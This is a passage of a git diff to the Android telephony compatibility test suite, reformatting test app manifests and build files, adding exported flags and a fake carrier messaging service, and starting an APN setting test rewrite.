+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </activity>
 
-        <!-- Service that delivers messages from the phone "quick response" -->
+        <!-- Service that delivers messages from the phone "quick response"
+             -->
         <service android:name=".HeadlessSmsSendService"
-                 android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
-                 android:exported="true" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
 
     </application>
 </manifest>
-
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/Android.bp b/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
index 2ae8c7a..9655ec0 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
+++ b/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
@@ -12,17 +12,17 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "TestSmsRetrieverApp",
 
-    srcs: ["src/**/*.kt", "src/**/*.java"],
+    srcs: [
+        "src/**/*.kt",
+        "src/**/*.java",
+    ],
 
     static_libs: [
-        "compatibility-device-util-axt", "hamcrest-library",
+        "compatibility-device-util-axt",
+        "hamcrest-library",
     ],
 
     test_suites: [
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/AndroidManifest.xml b/tests/tests/telephony/TestSmsRetrieverApp/AndroidManifest.xml
index 2ac0079f..3b58119 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/AndroidManifest.xml
+++ b/tests/tests/telephony/TestSmsRetrieverApp/AndroidManifest.xml
@@ -13,16 +13,17 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telephony.cts.smsretriever">
+     package="android.telephony.cts.smsretriever">
 
     <application android:label="TestSmsRetrieverApp">
-        <activity
-            android:name="android.telephony.cts.smsretriever.MainActivity"
-            android:exported="true"/>
-	<receiver android:name="android.telephony.cts.smsretriever.SmsRetrieverBroadcastReceiver">
+        <activity android:name="android.telephony.cts.smsretriever.MainActivity"
+             android:exported="true"/>
+	<receiver android:name="android.telephony.cts.smsretriever.SmsRetrieverBroadcastReceiver"
+    	 android:exported="true">
             <intent-filter>
-                <action android:name="android.telephony.cts.action.SMS_RETRIEVED"></action>
+                <action android:name="android.telephony.cts.action.SMS_RETRIEVED"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
index 1f89db5..b8eb8bf 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
+++ b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
@@ -46,7 +46,7 @@
                                 "android.telephony.cts.smsretriever",
                                 "android.telephony.cts.smsretriever.SmsRetrieverBroadcastReceiver"));
         PendingIntent pIntent = PendingIntent.getBroadcast(
-                getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
+                getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         String token = null;
         try {
             token = SmsManager.getDefault().createAppSpecificSmsTokenWithPackageInfo(
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index 1876bc7..aa02099 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 filegroup {
     name: "telephony-cts-ims-common-srcs",
     srcs: [
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index 2a26b18..8dc1d2f 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -15,108 +15,111 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telephony.cts">
+     package="android.telephony.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
-    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
-    <uses-permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
-    <uses-permission android:name="android.permission.BLUETOOTH" />
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
-    <uses-permission android:name="android.permission.USE_SIP" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+    <uses-permission android:name="android.permission.USE_SIP"/>
     <uses-permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"/>
     <uses-permission android:name="android.permission.WRITE_EMBEDDED_SUBSCRIPTIONS" />
+    <uses-permission android:name="android.permission.USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER" />
 
     <permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"
-                android:protectionLevel="signature"/>
+         android:protectionLevel="signature"/>
     <application>
         <provider android:name="android.telephony.cts.MmsPduProvider"
-                  android:authorities="telephonyctstest"
-                  android:grantUriPermissions="true" />
+             android:authorities="telephonyctstest"
+             android:grantUriPermissions="true"/>
 
         <!-- SmsReceiver, MmsReceiver, ComposeSmsActivity, HeadlessSmsSendService together make
-        this a valid SmsApplication (that can be set as the default SMS app). Although some of these
-        classes don't do anything, they are needed to make this a valid candidate for default SMS
-        app. -->
+                    this a valid SmsApplication (that can be set as the default SMS app). Although some of these
+                    classes don't do anything, they are needed to make this a valid candidate for default SMS
+                    app. -->
         <!-- BroadcastReceiver that listens for incoming SMS messages -->
         <receiver android:name=".SmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <!-- BroadcastReceiver that listens for incoming MMS messages -->
         <receiver android:name=".MmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
         </receiver>
 
         <!-- Activity that allows the user to send new SMS/MMS messages -->
-        <activity android:name=".ComposeSmsActivity" >
+        <activity android:name=".ComposeSmsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </activity>
 
-        <!-- Service that delivers messages from the phone "quick response" -->
+        <!-- Service that delivers messages from the phone "quick response"
+             -->
         <service android:name=".HeadlessSmsSendService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
-            android:exported="true" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
 
-        <service
-          android:name="android.telephony.cts.StubInCallService"
-          android:permission="android.permission.BIND_INCALL_SERVICE">
+        <service android:name="android.telephony.cts.StubInCallService"
+             android:permission="android.permission.BIND_INCALL_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
-            <meta-data
-              android:name="android.telecom.IN_CALL_SERVICE_UI"
-              android:value="true"/>
+            <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI"
+                 android:value="true"/>
         </service>
 
-        <service
-          android:name=".MockVisualVoicemailService"
-          android:permission="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
-          android:exported="true">
+        <service android:name=".MockVisualVoicemailService"
+             android:permission="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telephony.VisualVoicemailService"/>
             </intent-filter>
         </service>
 
-        <service
-            android:name=".PermissionlessVisualVoicemailService"
-            android:enabled="false"
-            android:exported="true">
+        <service android:name=".PermissionlessVisualVoicemailService"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telephony.VisualVoicemailService"/>
             </intent-filter>
@@ -124,33 +127,56 @@
         </service>
 
         <service android:name="com.android.compatibility.common.util.BlockedNumberService"
-                android:exported="true"
-                android:singleUser="true" >
+             android:exported="true"
+             android:singleUser="true">
             <intent-filter>
                 <action android:name="android.telecom.cts.InsertBlockedNumber"/>
                 <action android:name="android.telecom.cts.DeleteBlockedNumber"/>
             </intent-filter>
         </service>
 
-        <service
-            android:name="android.telephony.euicc.cts.MockEuiccService"
-            android:permission="android.permission.BIND_EUICC_SERVICE"
-            android:exported="true">
+        <service android:name="android.telephony.euicc.cts.MockEuiccService"
+             android:permission="android.permission.BIND_EUICC_SERVICE"
+             android:exported="true">
             <intent-filter android:priority="100">
                 <action android:name="android.service.euicc.EuiccService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.telephony.ims.cts.TestImsService"
-                 android:directBootAware="true"
-                 android:persistent="true"
-                 android:permission="android.permission.BIND_IMS_SERVICE">
+             android:directBootAware="true"
+             android:persistent="true"
+             android:permission="android.permission.BIND_IMS_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telephony.ims.ImsService" />
+                <action android:name="android.telephony.ims.ImsService"/>
             </intent-filter>
         </service>
 
         <service
+            android:name="android.telephony.cts.FakeCarrierMessagingService"
+            android:permission="android.permission.BIND_CARRIER_SERVICES"
+            android:exported="true"
+            android:enabled="true">
+            <intent-filter>
+                <action android:name="android.service.carrier.CarrierMessagingService" />
+            </intent-filter>
+        </service>
+
+        <!-- Activity that allows the user to trigger the UCE APIs -->
+        <activity android:name="android.telephony.ims.cts.UceActivity"
+            android:exported="false">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.telephony.ims.cts.action_finish"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+
+        <service
             android:name="android.telephony.gba.cts.TestGbaService"
             android:directBootAware="true"
             android:permission="android.permission.BIND_GBA_SERVICE"
@@ -160,35 +186,36 @@
             </intent-filter>
         </service>
 
-        <activity android:name="android.telephony.cts.StubDialerActvity">
+        <activity android:name="android.telephony.cts.StubDialerActvity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:mimeType="vnd.android.cursor.item/phone" />
-                <data android:mimeType="vnd.android.cursor.item/person" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:mimeType="vnd.android.cursor.item/phone"/>
+                <data android:mimeType="vnd.android.cursor.item/person"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="voicemail" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="voicemail"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="tel" />
+                <action android:name="android.intent.action.VIEW"/>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="tel"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
@@ -196,41 +223,44 @@
 
         <activity android:name="android.telephony.euicc.cts.EuiccResolutionActivity"/>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
 
         <!-- This is the receiver defined by the MBMS api. -->
-        <receiver
-            android:name="android.telephony.mbms.MbmsDownloadReceiver"
-            android:permission="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"
-            android:enabled="true"
-            android:exported="true">
+        <receiver android:name="android.telephony.mbms.MbmsDownloadReceiver"
+             android:permission="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"
+             android:enabled="true"
+             android:exported="true">
         </receiver>
 
-        <provider
-            android:name="android.telephony.mbms.MbmsTempFileProvider"
-            android:authorities="android.telephony.mbms.cts"
-            android:exported="false"
-            android:grantUriPermissions="true">
+        <provider android:name="android.telephony.mbms.MbmsTempFileProvider"
+             android:authorities="android.telephony.mbms.cts"
+             android:exported="false"
+             android:grantUriPermissions="true">
         </provider>
 
         <meta-data android:name="mbms-streaming-service-override"
-                   android:value="android.telephony.cts.embmstestapp/.CtsStreamingService"/>
+             android:value="android.telephony.cts.embmstestapp/.CtsStreamingService"/>
         <meta-data android:name="mbms-download-service-override"
-                   android:value="android.telephony.cts.embmstestapp/.CtsDownloadService"/>
+             android:value="android.telephony.cts.embmstestapp/.CtsDownloadService"/>
         <meta-data android:name="mbms-group-call-service-override"
-                   android:value="android.telephony.cts.embmstestapp/.CtsGroupCallService"/>
-        <meta-data
-            android:name="mbms-file-provider-authority"
-            android:value="android.telephony.mbms.cts"/>
+             android:value="android.telephony.cts.embmstestapp/.CtsGroupCallService"/>
+        <meta-data android:name="mbms-file-provider-authority"
+             android:value="android.telephony.mbms.cts"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.telephony.cts"
-                     android:label="CTS tests of android.telephony">
+         android:targetPackage="android.telephony.cts"
+         android:label="CTS tests of android.telephony">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
+    <!-- Make sure the cts can connect to CarrierMessagingServices. This is needed for
+        CarrierMessagingServiceWrapperTest. -->
+    <queries>
+        <intent>
+            <action android:name="android.service.carrier.CarrierMessagingService" />
+        </intent>
+    </queries>
 </manifest>
-
diff --git a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
index b112018..fb79bb1 100644
--- a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
+++ b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
@@ -14,10 +14,6 @@
 
 // Build the Sample Embms Services
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "EmbmsMiddlewareCtsTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/AndroidManifest.xml b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/AndroidManifest.xml
index 0798e79..3913ae0 100644
--- a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/AndroidManifest.xml
+++ b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/AndroidManifest.xml
@@ -15,35 +15,37 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.telephony.cts.embmstestapp">
+     package="android.telephony.cts.embmstestapp">
   <permission android:name="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"
-              android:protectionLevel="signature"/>
+       android:protectionLevel="signature"/>
 
   <uses-permission android:name="android.telephony.cts.embms.permission.SEND_EMBMS_INTENTS"/>
   <uses-permission android:name="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"/>
 
   <application android:label="EmbmsCtsMiddleware">
     <service android:name="android.telephony.cts.embmstestapp.CtsStreamingService"
-            android:launchMode="singleInstance">
+         android:launchMode="singleInstance"
+         android:exported="true">
       <intent-filter>
-        <action android:name="android.telephony.action.EmbmsStreaming" />
-        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
+        <action android:name="android.telephony.action.EmbmsStreaming"/>
+        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE"/>
       </intent-filter>
     </service>
     <service android:name="android.telephony.cts.embmstestapp.CtsGroupCallService"
-             android:launchMode="singleInstance">
+         android:launchMode="singleInstance"
+         android:exported="true">
       <intent-filter>
-        <action android:name="android.telephony.action.EmbmsGroupCall" />
-        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
+        <action android:name="android.telephony.action.EmbmsGroupCall"/>
+        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE"/>
       </intent-filter>
     </service>
     <service android:name="android.telephony.cts.embmstestapp.CtsDownloadService"
-             android:launchMode="singleInstance">
+         android:launchMode="singleInstance"
+         android:exported="true">
       <intent-filter>
-        <action android:name="android.telephony.action.EmbmsDownload" />
-        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
+        <action android:name="android.telephony.action.EmbmsDownload"/>
+        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE"/>
       </intent-filter>
     </service>
   </application>
 </manifest>
-
diff --git a/tests/tests/telephony/current/LocationAccessingApp/Android.bp b/tests/tests/telephony/current/LocationAccessingApp/Android.bp
index 1807b4f..4721538 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/Android.bp
+++ b/tests/tests/telephony/current/LocationAccessingApp/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "LocationAccessingApp",
     defaults: ["cts_defaults"],
@@ -25,4 +21,4 @@
         "src/**/*.java",
         "aidl/**/I*.aidl",
     ],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/current/LocationAccessingApp/AndroidManifest.xml b/tests/tests/telephony/current/LocationAccessingApp/AndroidManifest.xml
index 332d369..e6cdab8 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/AndroidManifest.xml
+++ b/tests/tests/telephony/current/LocationAccessingApp/AndroidManifest.xml
@@ -15,7 +15,7 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.telephony.cts.locationaccessingapp">
+     package="android.telephony.cts.locationaccessingapp">
 
   <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
   <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
@@ -24,11 +24,11 @@
 
   <application android:label="LocationAccessingApp">
     <service android:name="android.telephony.cts.locationaccessingapp.CtsLocationAccessService"
-             android:launchMode="singleInstance">
+         android:launchMode="singleInstance"
+         android:exported="true">
       <intent-filter>
-        <action android:name="android.telephony.cts.locationaccessingapp.ACTION_CONTROL" />
+        <action android:name="android.telephony.cts.locationaccessingapp.ACTION_CONTROL"/>
       </intent-filter>
     </service>
   </application>
 </manifest>
-
diff --git a/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp b/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp
index 1bb3967..2635472 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp
+++ b/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "LocationAccessingAppSdk28",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/LocationAccessingApp/sdk28/AndroidManifest.xml b/tests/tests/telephony/current/LocationAccessingApp/sdk28/AndroidManifest.xml
index 811d9ce..b51ee76 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/sdk28/AndroidManifest.xml
+++ b/tests/tests/telephony/current/LocationAccessingApp/sdk28/AndroidManifest.xml
@@ -15,7 +15,7 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.telephony.cts.locationaccessingapp.sdk28">
+     package="android.telephony.cts.locationaccessingapp.sdk28">
 
   <uses-sdk android:targetSdkVersion="28"/>
   <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
@@ -24,11 +24,11 @@
 
   <application android:label="LocationAccessingAppSdk28">
     <service android:name="android.telephony.cts.locationaccessingapp.CtsLocationAccessService"
-             android:launchMode="singleInstance">
+         android:launchMode="singleInstance"
+         android:exported="true">
       <intent-filter>
-        <action android:name="android.telephony.cts.locationaccessingapp.ACTION_CONTROL" />
+        <action android:name="android.telephony.cts.locationaccessingapp.ACTION_CONTROL"/>
       </intent-filter>
     </service>
   </application>
 </manifest>
-
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp b/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
index e3f9bd5..eb77c19 100644
--- a/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "TestExternalImsServiceApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/AndroidManifest.xml b/tests/tests/telephony/current/TestExternalImsServiceApp/AndroidManifest.xml
index 7062fd4..cf733ab 100644
--- a/tests/tests/telephony/current/TestExternalImsServiceApp/AndroidManifest.xml
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/AndroidManifest.xml
@@ -16,17 +16,18 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.telephony.cts.externalimsservice">
+     package="android.telephony.cts.externalimsservice">
 
     <application>
         <service android:name=".TestExternalImsService"
-                 android:directBootAware="true"
-                 android:persistent="true">
-            <meta-data android:name="override_bind_check" android:value="true" />
+             android:directBootAware="true"
+             android:persistent="true"
+             android:exported="true">
+            <meta-data android:name="override_bind_check"
+                 android:value="true"/>
             <intent-filter>
-                <action android:name="android.telephony.ims.ImsService" />
+                <action android:name="android.telephony.ims.ImsService"/>
             </intent-filter>
         </service>
     </application>
 </manifest>
-
diff --git a/tests/tests/telephony/current/permissions/Android.bp b/tests/tests/telephony/current/permissions/Android.bp
index e6e7541..ebd04ce 100644
--- a/tests/tests/telephony/current/permissions/Android.bp
+++ b/tests/tests/telephony/current/permissions/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsTelephonyTestCasesPermissionReadPhoneState",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/permissions/OWNERS b/tests/tests/telephony/current/permissions/OWNERS
deleted file mode 100644
index b19c963..0000000
--- a/tests/tests/telephony/current/permissions/OWNERS
+++ /dev/null
@@ -1,2 +0,0 @@
-set noparent
-include ../../telephony/OWNERS
\ No newline at end of file
diff --git a/tests/tests/telephony/current/preconditions/Android.bp b/tests/tests/telephony/current/preconditions/Android.bp
index bf62f00..ddb3262 100644
--- a/tests/tests/telephony/current/preconditions/Android.bp
+++ b/tests/tests/telephony/current/preconditions/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_helper_library {
     name: "compatibility-host-telephony-preconditions",
 
diff --git a/tests/tests/telephony/current/preconditions/app/Android.bp b/tests/tests/telephony/current/preconditions/app/Android.bp
index 813802e..debc2e3 100644
--- a/tests/tests/telephony/current/preconditions/app/Android.bp
+++ b/tests/tests/telephony/current/preconditions/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsTelephonyPreparerApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/res/drawable/cupcake.png b/tests/tests/telephony/current/res/drawable/cupcake.png
new file mode 100644
index 0000000..dcc74e5
--- /dev/null
+++ b/tests/tests/telephony/current/res/drawable/cupcake.png
Binary files differ
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ApnSettingTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ApnSettingTest.java
index a7224f3..1be3eb8 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/ApnSettingTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ApnSettingTest.java
@@ -19,26 +19,56 @@
 import static org.junit.Assert.assertEquals;
 
 import android.telephony.data.ApnSetting;
+import android.util.ArrayMap;
 
 import org.junit.Test;
 
+import java.util.Map;
+
 public class ApnSettingTest {
-    @Test
-    public void testGetApnTypesStringFromBitmaskWithDefault() {
-        String value = ApnSetting.getApnTypesStringFromBitmask(ApnSetting.TYPE_DEFAULT);
-        assertEquals(value, "hipri,default");
+    private static final Map<String, Integer> EXPECTED_STRING_TO_INT_MAP;
+    private static final Map<Integer, String> EXPECTED_INT_TO_STRING_MAP;
+    static {
+        EXPECTED_STRING_TO_INT_MAP = new ArrayMap<>();
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_DEFAULT_STRING, ApnSetting.TYPE_DEFAULT);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_MMS_STRING, ApnSetting.TYPE_MMS);
